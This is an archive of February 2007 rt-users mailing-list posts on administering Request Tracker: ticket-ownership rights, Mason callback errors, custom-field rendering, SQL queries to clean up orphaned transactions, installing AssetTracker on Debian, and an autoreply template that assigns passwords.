Subject: [rt-users] Prevent Automatic add client Names in Owner drop down
	list
In-Reply-To: <c2b99b7f0702081824i2f632b69i487c0d83b4a37513@mail.gmail.com>
References: <c2b99b7f0702081824i2f632b69i487c0d83b4a37513@mail.gmail.com>
Message-ID: <45CCA5D8.9010307@lbl.gov>

Marie,


	Opps. I meant that for Obando. In your case, a name appears on the drop 
down because they have certain ticket ownership rights in the Queue you 
are creating the ticket in. Check what groups/individuals have those 
kind of rights for that Queue. Hint, it is a lot easier to maintain 
rights and privileges by putting users with common access needs in one 
group and grant the privileges on a group basis. Hope this helps.

Kenn
LBNL

Marie wrote:
> I have enabled email creation via ticket. I noticed that when I create a 
> ticket manually, i see other names/emails in the Owner drop down. How 
> can i prevent the system from adding names and list only those users i 
> created via  Configuration->Users->New User
> 
> 
> ------------------------------------------------------------------------
> 
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com


From james.donnelly at txt4.com  Fri Feb  9 11:03:53 2007
From: james.donnelly at txt4.com (James Donnelly)
Date: Fri, 9 Feb 2007 16:03:53 -0000
Subject: [rt-users] Child tickets
Message-ID: <20070209175824.AFED74D80B2@diesel.bestpractical.com>

Hi,

 

Sorry if this has been covered, I can't find anywhere to search the list.

 

I'm trying to utilise a callback offered on the best-practical wiki: 

 

http://wiki.bestpractical.com/index.cgi?CreateChildTicket

 

The first problem is that it refers to a callback in Ticket/Display.html
named BeforeShowHistory.  I can only find one called BeforeDisplay, but I'm
guessing it doesn't matter, so I'm using that one.

 

RT is referencing my callback ok, but I get this error:

 

error:  Can't call method "Id" on an undefined value at
/usr/share/request-tracker3.4/html/Callbacks/txt4Callbacks/Ticket/Display.ht
ml/BeforeDisplay line 4.
context:  


1: 

<FORM ACTION="<% $RT::WebPath %>/Ticket/Create.html"
NAME="CreateTicketInQueue">


2: 

<input type="submit" value="Create child request in">


3: 

<& /Elements/SelectQueue, Name => 'Queue', %ARGS, ShowNullOption => 0,
ShowAllQueues => 0 &>


4: 

<input type="hidden" name="new-MemberOf" value="<%$Ticket->Id%>">


5: 

<input type="hidden" name="Subject" value="Child of: <%$Ticket->Subject%>">


6: 

</FORM>


7: 

 


8: 

<%INIT>


... 

 

code stack:
/usr/share/request-tracker3.4/html/Callbacks/txt4Callbacks/Ticket/Display.ht
ml/BeforeDisplay:4
/usr/share/request-tracker3.4/html/Elements/Callback:70
/usr/share/request-tracker3.4/html/Ticket/Display.html:147
/usr/share/request-tracker3.4/html/autohandler:215 

 

I can't figure out how arguments are passed to callbacks from the docs
available, or how else I might make the ticket id visible to the callback.

 

I tried the SpawnChildTicket one (which would also work for me) but
experienced a very similar problem:

 

http://wiki.bestpractical.com/index.cgi?SpawnChildTicket

 

Any ideas?

 

Cheers,

 

James

-- 








 

 

 



James Donnelly

 

 

TXT4 Ltd
Unit 4.02
The Tea Building
56 Shoreditch High Street
London
E1 6JJ


 <mailto:james.donnelly at txt4.com> james.donnelly at txt4.com  
 <http://www.txt4.com/> http://www.txt4.com


tel: 
fax: 
mobile: 

+44 (0)20 7729 0700
+44 (0)20 7729 1619
+44 (0)7971 012 622

 


  

 

 

 

 

 

 

 

 

 

 

 

 

This e-mail and any files transmitted with it are confidential and intended
only for the addressee and should not be disclosed, distributed, copied or
printed without the prior written agreement of TXT4 Ltd. If you are not the
intended recipient, or a person responsible for delivering it to the
intended recipient, you should not use, disclose, distribute, copy or print.
Please notify the sender by e-mail if you have received this e-mail by
mistake and delete this e-mail from your system immediately. Any views or
opinions expressed in this message are those of the author and do not
necessarily represent those of TXT4 Ltd.

 

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From joe.casadonte at oracle.com  Fri Feb  9 13:52:20 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 09 Feb 2007 13:52:20 -0500
Subject: [rt-users] 3.6.3 At a Glance - why 'Take' for users that cannot Own?
Message-ID: <45CCC2E4.6090503@oracle.com>

I'm trying to get rid of the 'Take' link for users that can't own 
tickets.  I'm finding this extremely challenging, as it seems the format 
string used to create the line of output is created ahead of time and 
then blindly applied.  I would like to be able to control, on a 
ticket-by-ticket basis, whether or not to display the Take link, based 
on the users ability to actually own the ticket.  Can anyone point me to 
a way to do this?  Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From bekeny-rt at docca.hu  Fri Feb  9 13:32:09 2007
From: bekeny-rt at docca.hu (=?utf-8?Q?B=C3=A1lint_Bek=C3=A9ny?=)
Date: Fri, 09 Feb 2007 19:32:09 +0100
Subject: [rt-users] Help with Custom Pages
In-Reply-To: <bdbd084b0702090303x66a1d4bar15a25f781fb253a7@mail.gmail.com>
References: <bdbd084b0702090303x66a1d4bar15a25f781fb253a7@mail.gmail.com>
Message-ID: <op.tnhu3vmogvob1z@docca-notebook>

Hi,

Try it:

<table>
% $QueueObj = $TicketObj->QueueObj;
% my $CustomField = RT::CustomField->new($QueueObj->CurrentUser);
% $CustomField->LoadByNameAndQueue(Name => "cfname", Queue =>  
$QueueObj->Id);
   <tr>
     <td class="entry"><& /Elements/EditCustomField,
         Object => $TicketObj,
         CustomField => $CustomField,
         NamePrefix => $NamePrefix ,
         Default => $m->notes('Field-' . $CustomField->Id),
         &>
%  if (my $msg = $m->notes('InvalidField-' . $CustomField->Id)) {
         <br />
         <em style="color: red"><% $msg %></em></td>
%  }
   </tr>
</table>


Bye,

--
Bekeny


On Fri, 09 Feb 2007 12:03:57 +0100, Torsten Brumm  
<torsten.brumm at googlemail.com> wrote:
> Hi RT Users,
>
> i'm trying to customize the Create.html Page and fighting with the Custom
> Field Section. I found that the Custom Fields from a specific queue are  
> hand
> over from Create.html to a Element called EditCustomFields. So far so  
> good.
> This renders all the Custom Fields for this queue.
>
> What i need in this "special" Case is only one Custom Field!
>
> At the Elements/EditCustomFields i found the following:
>
> <table>
> <tr>
> <td valign="top" width="50%">
> <table>
>
> % my @entry_fields;
> % my $i;
> % my $cfcount = $CustomFields->Count;
> %  $cfcount++ if ($cfcount % 2) ; # if we have an odd number of
> % #custom fields, fudge it so we know where to put in the table break
> % while (my $CustomField = $CustomFields->Next()) {
> % if ($cfcount == 2 * $i) {
> </table>
> </td>
> <td valign="top" width="50%">
> <table>
> % }
> % $i++;
>   <tr>
>     <td class="labeltop">
>       <b><%$CustomField->Name%></b><br>
>       <i><%$CustomField->FriendlyType%></i>
>     </td>
>     <td class="entry"><& EditCustomField,
>         Object => $TicketObj,
>         CustomField => $CustomField,
>         NamePrefix => $NamePrefix ,
>         Default => $m->notes('Field-' . $CustomField->Id),
>         &>
> %  if (my $msg = $m->notes('InvalidField-' . $CustomField->Id)) {
>         <br>
>         <em style="color: red"><% $msg %></em></td>
> %  }
>   </tr>
> % }
> </table>
> </td>
> </tr>
> </table>
>
> Does anyone have an idea how to limit this to only one NAMED Custom  
> Field???
> Thanks



-- 
Bek?ny


From joe.casadonte at oracle.com  Fri Feb  9 14:33:18 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 09 Feb 2007 14:33:18 -0500
Subject: [rt-users] 3.6.3  At a Glance -- what does Link & Display do?
Message-ID: <45CCCC7E.5040000@oracle.com>

When editing the portlets(?) Customize "N" newest unowned tickets, what 
do the Link & Title fields do and/or how do I use them?  No matter what 
I try, it never results in a change to the Show Columns field.

Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From KFCrocker at lbl.gov  Fri Feb  9 15:01:21 2007
From: KFCrocker at lbl.gov (Kenneth Crocker)
Date: Fri, 09 Feb 2007 12:01:21 -0800
Subject: [rt-users] 3.6.3 At a Glance - why 'Take' for users that cannot
	Own?
In-Reply-To: <45CCC2E4.6090503@oracle.com>
References: <45CCC2E4.6090503@oracle.com>
Message-ID: <45CCD311.7030805@lbl.gov>

Joe,

	Why not just remove that privilege (own a ticket, take a ticket, etc) 
from those users or group of users? If they do not have those rights, 
the take should disappear. A lot less work and maintenance. I try not to 
modify a system for something when there are already tools available to 
accomplish the same goals merely because it complicates future 
debugging. just a thought.

Kenn
LBNL

Joe Casadonte wrote:
> I'm trying to get rid of the 'Take' link for users that can't own 
> tickets.  I'm finding this extremely challenging, as it seems the format 
> string used to create the line of output is created ahead of time and 
> then blindly applied.  I would like to be able to control, on a 
> ticket-by-ticket basis, whether or not to display the Take link, based 
> on the users ability to actually own the ticket.  Can anyone point me to 
> a way to do this?  Thanks!
> 


From joe.casadonte at oracle.com  Fri Feb  9 15:15:59 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 09 Feb 2007 15:15:59 -0500
Subject: [rt-users] 3.6.3 At a Glance - why 'Take' for users that cannot
	Own?
In-Reply-To: <45CCD311.7030805@lbl.gov>
References: <45CCC2E4.6090503@oracle.com> <45CCD311.7030805@lbl.gov>
Message-ID: <45CCD67F.3030804@oracle.com>

On 2/9/2007 3:01 PM, Kenneth Crocker wrote:

>     Why not just remove that privilege (own a ticket, take a ticket, 
> etc) from those users or group of users? 

I have.

 > If they do not have those
> rights, the take should disappear. 

It does not, on the RT at a Glance screen.  That's the problem....

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From joe.casadonte at oracle.com  Fri Feb  9 15:32:48 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Fri, 09 Feb 2007 15:32:48 -0500
Subject: [rt-users] 3.6.3 - reverting back to default query/results 
Message-ID: <45CCDA70.3050202@oracle.com>

Is there a way in 3.6.3 for a user to revert back to the default query 
and query results for the At a glance portlets?  Thanks!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com



From jesse at bestpractical.com  Fri Feb  9 16:49:48 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Fri, 9 Feb 2007 16:49:48 -0500
Subject: [rt-users] 3.6.3 - reverting back to default query/results
In-Reply-To: <45CCDA70.3050202@oracle.com>
References: <45CCDA70.3050202@oracle.com>
Message-ID: <20070209214948.GT25008@bestpractical.com>




On Fri, Feb 09, 2007 at 03:32:48PM -0500, Joe Casadonte wrote:
> Is there a way in 3.6.3 for a user to revert back to the default query 
> and query results for the At a glance portlets?  Thanks!
>

Sure thing. There should be a "reset" button on their RT at a glance
preferences page.

Best,

Jesse


From theillien at yahoo.com  Fri Feb  9 21:37:45 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Fri, 09 Feb 2007 21:37:45 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
References: <45C9801B.7060704@yahoo.com> <45C98700.8040100@yahoo.com>	
	<589c94400702080549p183d936k81a7cc481d381ac5@mail.gmail.com>	
	<45CBF647.1040206@yahoo.com>
	<589c94400702082152l6897ea63ldcf2ebef6e01af7c@mail.gmail.com>
Message-ID: <45CD2FF9.3050006@yahoo.com>

Ruslan,

I was able to run the query you provided the other day and eliminated over 3500
transactions that were left behind.  We are now able to access all data in this,
as well as other, tickets that suffered from the same problem.

Again, Thank you.  This is a life saver.

Mathew


Ruslan Zakirov wrote:
> On 2/9/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> It would appear I removed someone that was added as a CC:
>>
>> +--------+-----------+---------------+--------------+-------+
>> | Name   | Field     | ReferenceType | NewReference | tid   |
>> +--------+-----------+---------------+--------------+-------+
>> | NULL   | Cc        | NULL          |         NULL | 55767 |
>> | rbates | Requestor | NULL          |         NULL | 55767 |
>> +--------+-----------+---------------+--------------+-------+
>>
>> Is it possible to correct this?
> Yes, sure.
> This means that you've deleted a user who was added as Cc watcher to
> ticket 55767. As well this means a bug exists in shredder and I've
> fixed it and released shredder 0.05.
> 
> The following query is more informative:
> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> u.id IS NULL AND t.id = XXXXX;
> 
> This query selects only transactions with problems. txn_id column in
> the result will show you problematic Transactions and NewValue column
> will show you ids of the users that don't exist anymore.
> 
> You can safely delete this transactions using the following query:
> DELETE FROM Transactions WHERE id IN (xxx, xxx, xxx,...);
> 
> Also, you can select all such transactions from your DB:
> SELECT u.Name, txn.id txn_id, txn.Field, txn.NewValue, txn.ReferenceType,
> txn.NewReference, t.id tid FROM Tickets t JOIN Transactions txn ON
> txn.Type = 'AddWatcher' AND txn.ObjectType = 'RT::Ticket' AND
> txn.ObjectId = t.id LEFT JOIN Users u ON u.id = txn.NewValue WHERE
> u.id IS NULL;
> 
> If amount of the transactions is too big then I could help you write
> down a delete query that will delete all this txns.
> 
> 
> 
>>
>> Ruslan Zakirov wrote:
>> > Please, run the following SQL query:
>> > SELECT u.Name, txn.Field, txn.ReferenceType, txn.NewReference, t.id
>> > tid FROM Tickets t JOIN Transactions txn ON txn.Type = 'AddWatcher'
>> > AND txn.ObjectType = 'RT::Ticket' AND txn.ObjectId = t.id LEFT JOIN
>> > Users u ON u.id = txn.NewValue WHERE t.id = XXXXX;
>> >
>> > Where XXXX id of the ticket. Then send me results.
>> >
>> >
>> > On 2/7/07, Mathew Snyder <theillien at yahoo.com> wrote:
>> >> I'd like to add to this.  I've looked at the database and found that
>> >> there are
>> >> 63 transactions attached to this ticket.  There are also no
>> >> transactions for
>> >> which there isn't a user.  I've looked up the names on each user id in
>> >> the
>> >> transactions table and found that they correspond to someone that
>> >> would likely
>> >> have had a part in the ticket.
>> >>
>> >> There are as many user id entries as there are transactions.  What I
>> >> mean is,
>> >> there are multiple entries for some ids but all transactions have a
>> >> user id
>> >> attached to it.  This tells me that the transactions aren't corrupted
>> >> by a
>> >> missing user that possibly got Shredded out of the database.
>> >>
>> >> As I've said before, this isn't the first time we've seen this so I'm
>> >> beginning
>> >> to think this is a bug of some sort.
>> >>
>> >> The full error follows.
>> >>
>> >> error:          Can't call method "Name" on an undefined value at
>> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >> context:
>> >> ...
>> >> 686:    AddWatcher => sub {
>> >> 687:    my $self = shift;
>> >> 688:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> 689:    $principal->Load($self->NewValue);
>> >> 690:    return $self->loc( "[_1] [_2] added", $self->Field,
>> >> $principal->Object->Name);
>> >> 691:    },
>> >> 692:    DelWatcher => sub {
>> >> 693:    my $self = shift;
>> >> 694:    my $principal = RT::Principal->new($self->CurrentUser);
>> >> ...
>> >> code stack:     /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
>> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
>> >> /usr/local/rt-3.6.1/share/html/autohandler:279
>> >>
>> >>
>> >>
>> >> raw error
>> >> Can't call method "Name" on an undefined value at
>> >> /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
>> >>
>> >>
>> >> Trace begun at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
>> >> HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name"
>> >> on an
>> >> undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm
>> >> line
>> >> 690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm
>> >> line 690
>> >> RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
>> >> /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
>> >> RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)')
>> >> called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
>> >> HTML::Mason::Commands::__ANON__('Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> >> undef,
>> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> 'Attachments',
>> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> 'LastTransaction',
>> >> 0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm
>> >> line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
>>
>> >>
>> >> 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed',
>> >> undef,
>> >> 'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
>> >> '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction',
>> >> 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed',
>> >> undef,
>> >> 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
>> >> 'ARRAY(0xc59f11c)',
>> >> 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0)
>> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders',
>> >> undef,
>> >> 'Collapsed', undef, 'Tickets', undef, 'AttachPath',
>> '/Ticket/Attachment',
>> >> 'UpdatePath', '/Ticket/Update.html', 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders',
>> undef,
>> >> 'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1,
>> >> 'Attachments',
>> >> 'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)',
>> >> 'LastTransaction',
>> >> 0) called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
>> >> HTML::Mason::Commands::__ANON__('Ticket',
>> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
>>
>> >>
>> >> 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed',
>> >> undef,
>> >> 'ShowHeaders', undef, 'Attachments',
>> 'RT::Attachments=HASH(0xc99b5f0)',
>> >> 'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'Ticket',
>> >> 'RT::Ticket=HASH(0xc54ce28)',
>> >> 'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef,
>> >> 'Attachments',
>> >> 'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
>> >> 'RT::Attachments=HASH(0xc98d840)') called at
>> >> /usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
>> >> HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
>>
>> >>
>> >> 'id', 55767, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767)
>> >> called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
>> >>
>> HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
>>
>> >>
>> >> 'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line
>> >> 279
>> >> HTML::Mason::Commands::__ANON__('id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
>> >>
>> HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
>>
>> >>
>> >> 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1246
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 1245
>> >> HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
>> >> /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 459
>> >> eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
>> >> line 411
>> >>
>> HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> line 168
>> >>
>> HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
>>
>> >>
>> >> called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm
>> >> line 826
>> >>
>> HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
>>
>> >>
>> >> 'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
>> >> RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at
>> >> -e line 0
>> >> eval {...} at -e line 0
>> >>
>> >> If we don't protect the freedom of speech, how will we know who the
>> >> assholes are?
>> >> http://theillien.blogspot.com
>> >>
>> >>
>> >> Mathew Snyder wrote:
>> >> > I think I've asked about this before and I'm fairly certain I
>> >> already know the
>> >> > answer.  However, I'm not certain it should be happening.
>> >> >
>> >> > We keep getting the error "Can't call method "Name" on an undefined
>> >> value..."
>> >> > If I recall correctly this is a result of eliminating via Shredder a
>> >> user which
>> >> > was at one point attatched to a ticket.  The only problem with this
>> >> is that the
>> >> > only users I remove are those that are created when we receive spam.
>> >> >
>> >> > So is this the only explanation?  More and more of these tickets
>> >> keep appearing
>> >> > but I can't figure out how all of these users are disappearing.
>> >> >
>> >> > Thanks
>> >> > Mathew
>> >> > _______________________________________________
>> >> > http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >> >
>> >> > Community help: http://wiki.bestpractical.com
>> >> > Commercial support: sales at bestpractical.com
>> >> >
>> >> >
>> >> > Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> >> > Buy a copy at http://rtbook.bestpractical.com
>> >> >
>> >> _______________________________________________
>> >> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>> >>
>> >> Community help: http://wiki.bestpractical.com
>> >> Commercial support: sales at bestpractical.com
>> >>
>> >>
>> >> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> >> Buy a copy at http://rtbook.bestpractical.com
>> >>
>> >
>> >
>>
> 
> 


From gentgeen at linuxmail.org  Fri Feb  9 21:44:29 2007
From: gentgeen at linuxmail.org (Gentgeen)
Date: Fri, 9 Feb 2007 21:44:29 -0500
Subject: [rt-users] RTx::AssetTracker on Debian RT
Message-ID: <20070209214429.09a982a3@localhost.localdomain>


First, I want to thank Todd for sending me AT.

I finally had some time to look it over, and now I am a bit nervous :-/

I have a Debian Stable install, with RT 3.4 installed via the Debian
repository.  The readme for AT has you running ./configure with a number
of options based on a standard RT install (ie in /opt/rt3).  

  ./configure --with-rt-home=/opt/rt3 \
              --with-rt-local=/opt/rt3 \
              --with-rt-localhtml=/opt/rt3/share/html \
              --with-db-admin=root

and then you run patch:
  $ cd /opt/rt3
  # Now patch for your version of RT if you want asset history \
    to record tickets properly
  $ patch -p0 < at/etc/upgrade/RT-3.4.x.patch
  $ cd -
  $ make install


Can I do this with my Debian installed version of RT?  Or am I just
begging for trouble by doing so?  Has anyone else installed AT on a
stock Debian system?


-- 
http://gentgeen.homelinux.org

#############################################################
 Associate yourself with men of good quality if you esteem    
 your own reputation; for 'tis better to be alone then in bad 
 company.        - George Washington, Rules of Civility


From gentgeen at linuxmail.org  Fri Feb  9 22:26:21 2007
From: gentgeen at linuxmail.org (Gentgeen)
Date: Fri, 9 Feb 2007 22:26:21 -0500
Subject: [rt-users] Trouble with my AutoReply Template
Message-ID: <20070209222621.6f6ffc90@localhost.localdomain>



I was trying to use the AutoReply With Password listed in the "RT
Essentials" book by O'reilly.  I have the one that is on the wiki
working, but I want the autoreply email to contain the password field
even if the requester already has a password (and create one if they do
not)

I have no perl skills, so I have basically tried to copy it from the
book letter for letter/space for space.  (Guess what my next O'reilly
book is going to be :-)  )  When it did not work, I stripped it down to
what is pasted below.

An email does get sent out when a privileged user creates the ticket
from within RT, but the code part is blank.  The log from that event
looks like this:

Feb  9 22:14:41 trouble RT:
<rt-3.4.1-24-312-3.2.75163762268249 at pavcs.org> #24/312 - Scrip 3 
(/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:235)  

Feb  9 22:14:41 trouble RT:
<rt-3.4.1-24-312-3.2.75163762268249 at pavcs.org> sent To:
gentgeen at linuxmail.org Cc:  Bcc: 
(/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:295)  

Feb  9 22:14:41 trouble RT: <rt-3.4.1-24-312-4.10.34140028225 at pavcs.org>
#24/312 - Scrip 4 
(/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:235)  

Feb  9 22:14:41 trouble RT: <rt-3.4.1-24-312-4.10.34140028225 at pavcs.org>
No recipients found. Not sending. 
(/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:247)  

Feb  9 22:14:41 trouble RT: Ticket 24 created in queue 'testing' by
ksquire (/usr/share/request-tracker3.4/lib/RT/Ticket_Overlay.pm:730)  


But when an email is sent in, no autoreply is sent out at all. here is
the logs when a email it sent in:

Feb  9 22:05:30 trouble RT:
<rt-3.4.1-23-307-4.1.13206847127032 at pavcs.org> #23/307 - Scrip 4 
(/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:235)  

Feb  9 22:05:30 trouble RT:
<rt-3.4.1-23-307-4.1.13206847127032 at pavcs.org> No recipients found. Not
sending.  (/usr/share/request-tracker3.4/lib/RT/Action/SendEmail.pm:247)
 
Feb  9 22:05:30 trouble RT: Ticket 23 created in queue 'testing' by
gentgeen at gmail.com
(/usr/share/request-tracker3.4/lib/RT/Ticket_Overlay.pm:730)  


Here is what I got for the template:

-------- Begin Paste -----------------

Subject: Autoreply


Greating and information here


{

if ( $Transaction->CreatorObj->id != $RT::Nobody->id
     && !$Transaction->CreatorObj->Privileged
     && !$Transaction->CreatorObj->HasPassword ) {

     my $user = RT::User->new( $RT::SystemUser );
     $user->Load( $Transaction->CreatorObj->Id );


     my ($stat, $pass) = $user->SetRandomPassword();


     if ($stat) {
            my $username = $user->Name;

               $OUT .= "
When prompted, enter the following username and password:

        Username: $username
        Password: $pass
	
";

     } else {
          $RT::Logger->error( 'Error trying to set random password for '
                               . $user->Name . ": $pass" );
              $OUT .= "
There was an error when trying to assign you a password.
Please contact your local RT administrator for assistance.
";
     }
   }
}

Salutation here

-------- End Paste -----------------


I am really hoping someone can spot my error.  Thanks for your time
